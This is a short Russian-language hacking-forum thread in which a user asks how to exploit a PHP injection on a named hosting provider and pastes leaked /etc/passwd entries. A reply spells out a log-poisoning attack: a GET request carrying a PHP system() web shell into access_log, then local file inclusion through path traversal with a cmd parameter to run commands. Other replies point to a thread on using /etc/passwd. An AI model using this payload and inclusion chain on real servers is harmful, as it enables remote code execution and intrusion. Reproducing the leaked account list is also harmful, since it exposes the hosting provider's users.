![]() |
Как воспользоваться php иньекцией
вот с хостера robo-host.ru
выводиться в таком виде пхп иньекция: подскажит как воспользоваться и что даёт этот код: dvdrec:x:32383:32384::/home/dvdrec:/bin/false dyakoff:x:32386:32387::/home/dyakoff:/usr/local/cpanel/bin/noshell egtgame:x:32388:32389::/home/egtgame:/usr/local/cpanel/bin/jailshell elektrok:x:32391:32392::/home/elektrok:/usr/local/cpanel/bin/jailshell elitmebe:x:32392:32393::/home/elitmebe:/usr/local/cpanel/bin/jailshell wapoorg:x:32393:32394::/home/wapoorg:/usr/local/cpanel/bin/noshell |
что?
обьясни плз я непонимаю ( |
ищи файл acces_log & error_log
Цитата:
GET <?system($_GET["cmd"]);?> HTTP/1.1 HOST: site.com Затем через инклуд подключаешь найденный access_log, и выполняешь команды... www.site.com/index.php?page=../../../../../../../../logs/access_log&cmd=id правда мало шансов что проканает.... :)) Видео (с)homo-sapiens |
Вот еще советую прочитать:
вопрос по etc/passwd |
|
Цитата:
В той теме задавался похожий вопрос, "что можно поиметь с etc/passwd". На мой взгляд, ettee достаточно развернуто ответил на него. |
n1†R0x
возможно я наркоман но тут нету постов ettee... |
Цитата:
В пятом посте ссылочка на тему, я про нее (про тему) и говорил ))) |
| Время: 19:44 |